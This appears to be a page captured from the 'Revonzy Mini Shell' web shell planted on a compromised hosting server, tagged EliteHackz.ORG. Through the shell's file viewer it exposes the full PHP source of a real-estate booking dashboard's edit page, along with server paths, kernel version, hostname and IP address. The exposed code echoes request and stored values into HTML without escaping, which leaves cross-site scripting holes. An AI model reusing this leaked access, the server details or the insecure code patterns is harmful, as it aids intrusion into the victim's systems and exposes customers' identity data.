Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/b2bflight.com/B2BFlight/project/dashboard/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/b2bflight.com/B2BFlight/project/dashboard/edit-booking.php

<?php 
require_once('lib/functions.php');
$db	= new class_functions();

$flag = 0;

$res_edit_id = "";
if(isset($_GET['edit_id'])){
    $res_edit_id = $_GET['edit_id'];
    $_SESSION['edit_id'] = $res_edit_id;  
}
echo $res_edit_id	 = $_SESSION['edit_id'];

if (isset($_POST['unit_no'])) 
{
		$booking_date 	  				= $_POST['booking_date'];
		$select_project 	  			= $_POST['select_project'];
		$unit_no 	  					= $_POST['unit_no'];
		$size_sq_ft 	  				= $_POST['size_sq_ft'];
		$rate_sq_ft 	  				= $_POST['rate_sq_ft'];
		$total_amount					= $_POST['total_amount'];
		$discount		    			= $_POST['discount'];		
		$rate_after_discount 			= $_POST['rate_after_discount'];
		$round_off 						= $_POST['round_off'];
		$net_amount 					= $_POST['net_amount'];
		$load_from_leads_data 			= $_POST['load_from_leads_data'];
		$mobile_no 						= $_POST['mobile_no'];
		$custamer_name 					= $_POST['custamer_name'];
		$email_id 						= $_POST['email_id'];
		$address 						= $_POST['address'];
		$pincode 						= $_POST['pincode'];
		$dob 							= $_POST['dob'];
		$nominee 						= $_POST['nominee'];
		$age_of_nominee 				= $_POST['age_of_nominee'];
		$payment_type 					= $_POST['payment_type'];
		$adhar_number					= $_POST['adhar_number'];
		$PAN_card						= $_POST['PAN_card'];
		$adhar_card_image				= $_POST['adhar_card_image'];
		$PAN_card_image					= $_POST['PAN_card_image'];
		$customer_photo_adhar_card		= $_POST['customer_photo_adhar_card'];
		$cash_receipt_PAN_card_image	= $_POST['cash_receipt_PAN_card_image'];
		$customer_image					= $_POST['customer_image'];
		$cash_receipt					= $_POST['cash_receipt'];
		$sold_by						= $_POST['sold_by'];
		$commission						= $_POST['commission'];
		$plat_status					= $_POST['plat_status'];
		$remark							= $_POST['remark'];

   if($db->update_booking($booking_date,$select_project,$unit_no,$size_sq_ft,$rate_sq_ft,$total_amount,$discount,$rate_after_discount,$round_off,$net_amount,$load_from_leads_data,$mobile_no,$custamer_name,$email_id,$address,$pincode,$dob,$nominee,$age_of_nominee,$payment_type,$adhar_number,$PAN_card,$adhar_card_image,$PAN_card_image,$customer_photo_adhar_card,$cash_receipt_PAN_card_image,$customer_image,$cash_receipt,$sold_by,$commission,$plat_status,$remark,$res_edit_id))
   {
	   $flag =1;
   }
}

$users_data = array();
$users_data = $db->get_booking_data_from_id($res_edit_id);
//print_r($users_data);
if(!empty($users_data))
{
    $res_id							=	$users_data['res_id'];
	$booking_date					=	$users_data['booking_date'];
	$select_project					=	$users_data['select_project'];
	$unit_no						=	$users_data['unit_no'];
	$size_sq_ft						=	$users_data['size_sq_ft'];
	$rate_sq_ft						=	$users_data['rate_sq_ft'];
	$total_amount					=	$users_data['total_amount'];
	$discount						=	$users_data['discount'];
	$rate_after_discount			=	$users_data['rate_after_discount'];
	$round_off						=	$users_data['round_off'];
	$net_amount						=	$users_data['net_amount'];
	$load_from_leads_data			=	$users_data['load_from_leads_data'];
	$mobile_no						=	$users_data['mobile_no'];
	$custamer_name					=	$users_data['custamer_name'];
	$email_id						=	$users_data['email_id'];
	$address						=	$users_data['address'];
	$pincode						=	$users_data['pincode'];
	$dob							=	$users_data['dob'];
	$nominee						=	$users_data['nominee'];
	$age_of_nominee					=	$users_data['age_of_nominee'];
	$payment_type					=	$users_data['payment_type'];
	$adhar_number 					= 	$users_data['adhar_number'];
	$PAN_card						=	$users_data['PAN_card'];
	$adhar_card_image				=	$users_data['adhar_card_image'];
	$PAN_card_image					=	$users_data['PAN_card_image'];
	$customer_photo_adhar_card		=	$users_data['customer_photo_adhar_card'];
	$cash_receipt_PAN_card_image	=	$users_data['cash_receipt_PAN_card_image'];
	$customer_image					=	$users_data['customer_image'];
	$cash_receipt					=	$users_data['cash_receipt'];
	$sold_by						=	$users_data['sold_by'];
	$commission 					=   $users_data['commission'];
	$plat_status 					=   $users_data['plat_status'];
	$remark 						=   $users_data['remark'];
	$date							=	$users_data['date'];
	$time							=	$users_data['time'];
}

?>
<!doctype html>
<html lang="en" dir="ltr">
  <head>
   <?php
		require_once('header-common.php');
   ?>
   <Style>
		.user_measurement
		{
			margin:0px;
			padding :0px;
			font-Size:13px !important;
		}
		.user_measurement_div
		{
			margin:0px;
			padding :0px;
			margin-left :2px;
			margin-bottom :0px;
			display:inline-table;
		}
   </Style>
  </head>
  <body class="  ">
    <!-- loader Start -->
    <div id="loading">
      <div class="loader simple-loader">
          <div class="loader-body"></div>
      </div>    </div>
    <!-- loader END -->
    
    <aside class="sidebar sidebar-default sidebar-white sidebar-base navs-rounded-all ">
        <div class="sidebar-header d-flex align-items-center justify-content-start">
            <a href="index.php" class="navbar-brand">
				<img src="images/<?php echo $logo; ?>" class="software_logo" style="height:90px; width:220px;" />
            </a>
            <div class="sidebar-toggle" data-toggle="sidebar" data-active="true">
                <i class="icon">
                    <svg width="20" height="20" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M4.25 12.2744L19.25 12.2744" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                        <path d="M10.2998 18.2988L4.2498 12.2748L10.2998 6.24976" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path>
                    </svg>
                </i>
            </div>
        </div>
        
		<?php
		require_once('left-side.php');
	?>
		<div class="sidebar-footer"></div>
    </aside>   
	<main class="main-content">
    	<?php
			require_once('navbar.php');
		?>
	  
      <div class="conatiner-fluid content-inner mt-n5 py-0">
<div class="row">
    <div class="col-sm-12">
        <div class="card">
		
			<?php
			
				if($flag == 1)
				{
			?>
				<div class="mb-3 alert alert-left alert-success alert-dismissible fade show" role="alert" style="width:80%; margin:auto; margin-top:25px;">
					<span>Booking Update Record Saved Successfully</span>
					<button type="submit" class="btn-close btn-close-white" data-bs-dismiss="alert" aria-label="Close"></button>
				</div>
				<script> 
				alert ("Record Updated Successfully");
				window.location = "measurement-report.php"
				</script>
			<?php
				}
			?>
			
		
            <div class="card-header d-flex justify-content-between flex-wrap">
                <div class="header-title">
                    <h4 class="card-title mb-0">Edit Booking Entry</h4>
                </div>
				
				        <div class="card-body">
					<div class="table-responsive">
                           <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row">
                                 <!--<div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="full-name" class="form-label">Lab Type</label>
                                       <select name="lab_type" class="form-control">
										<option value="Mechanical">Mechanical</option>
										<option value="Chemical">Chemical</option>
									   </select>
                                    </div>
                                 </div>-->

								<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
                              <div class="row">
                                 <!--<div class="col-lg-6">
                                    <div class="form-group">
                                       <label for="full-name" class="form-label">Lab Type</label>
                                       <select name="lab_type" class="form-control">
										<option value="Mechanical">Mechanical</option>
										<option value="Chemical">Chemical</option>
									   </select>
                                    </div>
                                 </div>-->
								<div class="col-lg-3">
                                    <div class="form-group">
                                       <label  class="form-label">Booking Date</label>
                                       <input type="date" name="booking_date" class="form-control" value="<?php echo $booking_date; ?>" placeholder=" " required />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label for="full-name" class="form-label">Select Project</label>
                                       <select name="select_project" class="form-control">
										<option value="Select Project"> Select Project </option>
										<?php
								$data	=	array();
								$data	=	$db->get_all_add_project();
								$counter = 1;
								if(!empty($data))
								{
									foreach($data as $record)
									{
										$res_id				=	$record[0];
										$project_name		=	$record[1];										
										$location			=	$record[4];
										
							?>
							<option value="<?php echo $res_id; ?>" <?php if($select_project==$res_id){  ?> selected <?php } ?>><?php echo $project_name." - ".$location; ?></option>
							<?php
									}
								}
							?>
										
									   </select>
                                    </div>
                                 </div>
								 
								  <div class="col-lg-3">
                                    <div class="form-group">
                                       <label for="full-name" class="form-label">Unit No</label>
                                       <select name="unit_no" class="form-control">
										<option value="Select Unit No">Select Unit No </option>
										<?php
								$data	=	array();
								$data	=	$db->get_all_plot_project();
								$counter = 1;
								if(!empty($data))
								{
									foreach($data as $record)
									{	
										$res_id							=	$record[0];										
										$unit_label						=	$record[5];
										
							?>
							<option value="<?php echo $res_id; ?>" <?php if($unit_label==$res_id){  ?> selected <?php } ?>><?php echo $unit_label; ?></option>
							<?php
									}
								}
							?>
										
									   </select>
                                    </div>
                                 </div>
                                
								 
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Size Sq Ft</label>
                                       <input type="text" name="size_sq_ft" class="form-control" value="<?php echo $size_sq_ft; ?>" placeholder=" " required />
                                    </div>
                                 </div>
                                 
                                
                                 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Rate Sq Ft</label>
                                       <input type="text" name="rate_sq_ft" class="form-control" value="<?php echo $rate_sq_ft; ?>" placeholder=" " required />
                                    </div>
                                 </div>								 
								 
								 	 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Total Amount</label>
                                       <input type="number" name="total_amount" class="form-control" value="<?php echo $total_amount; ?>" placeholder=" " required />
                                    </div>
                                 </div>
								  
								<div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Discount</label>
                                       <input type="text" name="discount" class="form-control" value="<?php echo $discount; ?>" placeholder=" " required />
                                    </div>
								</div>

								
								<div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Rate After Discount</label>
                                       <input type="text" name="rate_after_discount" class="form-control" value="<?php echo $rate_after_discount; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 
								  <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Round Off</label>
                                       <input type="text" name="round_off" class="form-control" value="<?php echo $round_off; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Net Amount</label>
                                       <input type="number" name="net_amount" class="form-control" value="<?php echo $net_amount; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Load From Leads Data</label>
                                       <input type="text" name="load_from_leads_data" class="form-control" value="<?php echo $load_from_leads_data; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Mobile No</label>
                                       <input type="number" name="mobile_no" class="form-control" value="<?php echo $mobile_no; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Custamer Name</label>
                                       <input type="text" name="custamer_name" class="form-control" value="<?php echo $custamer_name; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Email Id</label>
                                       <input type="text" name="email_id" class="form-control" value="<?php echo $email_id; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Address</label>
                                       <input type="text" name="address" class="form-control" value="<?php echo $address; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">pincode</label>
                                       <input type="number" name="pincode" class="form-control" value="<?php echo $pincode; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">DOB</label>
                                       <input type="date" name="dob" class="form-control" value="<?php echo $dob; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Nominee</label>
                                       <input type="text" name="nominee" class="form-control" value="<?php echo $nominee; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Age Of Nominee</label>
                                       <input type="number" name="age_of_nominee" class="form-control" value="<?php echo $age_of_nominee; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Payment Type</label>
                                       <input type="text" name="payment_type" class="form-control" value="<?php echo $payment_type; ?>" placeholder="" required />
                                    </div>
                                 </div>
									

								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Adhar Number</label>
                                       <input type="number" name="adhar_number" class="form-control" value="<?php echo $adhar_number; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">PAN Card</label>
                                       <input type="text" name="PAN_card" class="form-control" value="<?php echo $PAN_card; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Adhar Card Image</label>
                                       <input type="file" name="adhar_card_image" class="form-control" value="<?php echo $adhar_card_image; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">PAN Card Image</label>
                                       <input type="file" name="PAN_card_image" class="form-control" value="<?php echo $PAN_card_image; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Customer Photo Adhar Card</label>
                                       <input type="file" name="customer_photo_adhar_card" class="form-control" value="<?php echo $customer_photo_adhar_card; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Cash Receipt PAN Card Image</label>
                                       <input type="file" name="cash_receipt_PAN_card_image" class="form-control" value="<?php echo $cash_receipt_PAN_card_image; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Customer Image</label>
                                       <input type="file" name="customer_image" class="form-control" value="<?php echo $customer_image; ?>" placeholder="">
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Cash Receipt</label>
                                       <input type="text" name="cash_receipt" class="form-control" value="<?php echo $cash_receipt; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Sold By</label>
                                       <input type="text" name="sold_by" class="form-control" value="<?php echo $sold_by; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Commission</label>
                                       <input type="text" name="commission" class="form-control" value="<?php echo $commission; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">Plat Status</label>
                                       <input type="text" name="plat_status" class="form-control" value="<?php echo $plat_status; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 <div class="col-lg-3">
                                    <div class="form-group">
                                       <label class="form-label">remark</label>
                                       <input type="text" name="remark" class="form-control" value="<?php echo $remark; ?>" placeholder="" required />
                                    </div>
                                 </div>
								 
								
							
								<!--<div class="col-lg-6">
                                    <div class="form-group">
                                       <label class="form-label">Added</label>
                                       <input type="text" name="added" class="form-control" placeholder=" ">
                                    </div>
								</div>-->
								<!--<div class="col-lg-6">
                                    <div class="form-group">
                                       <label class="form-label">date</label>
                                       <input type="date" name="date" class="form-control" placeholder=" ">
                                    </div>
								</div>
								<div class="col-lg-6">
                                    <div class="form-group">
                                       <label class="form-label">Time</label>
                                       <input type="text" name="time" class="form-control" placeholder=" ">
                                    </div>
								</div>-->
                              <div class="d-flex justify-content-center">
                                 <button type="submit" class="btn btn-primary">Save / Submit</button>
                              </div>
                </div>
            </div>
        </div>
	</div>
</div>
</div>
    
    <!-- Library Bundle Script -->
    <script src="../assets/js/core/libs.min.js"></script>
    
    <!-- External Library Bundle Script -->
    <script src="../assets/js/core/external.min.js"></script>
    
    <!-- Widgetchart Script -->
    <script src="../assets/js/charts/widgetcharts.js"></script>
    
    <!-- mapchart Script -->
    <script src="../assets/js/charts/vectore-chart.js"></script>
    <script src="../assets/js/charts/dashboard.js" ></script>
    
    <!-- fslightbox Script -->
    <script src="../assets/js/plugins/fslightbox.js"></script>
    
    <!-- Settings Script -->
    <script src="../assets/js/plugins/setting.js"></script>
    
    <!-- Slider-tab Script -->
    <script src="../assets/js/plugins/slider-tabs.js"></script>
    
    <!-- Form Wizard Script -->
    <script src="../assets/js/plugins/form-wizard.js"></script>
    
    <!-- AOS Animation Plugin-->
    <script src="../assets/vendor/aos/dist/aos.js"></script>
    
    <!-- App Script -->
    <script src="../assets/js/hope-ui.js" defer></script>
     <style>
	.sidebar.sidebar-default .nav-link:not(.static-item).active , .sidebar.sidebar-default .nav-link:not(.static-item).active, .sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true]
	{
		background-color:#FE6600 !important;
	}
	</style>
  </body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4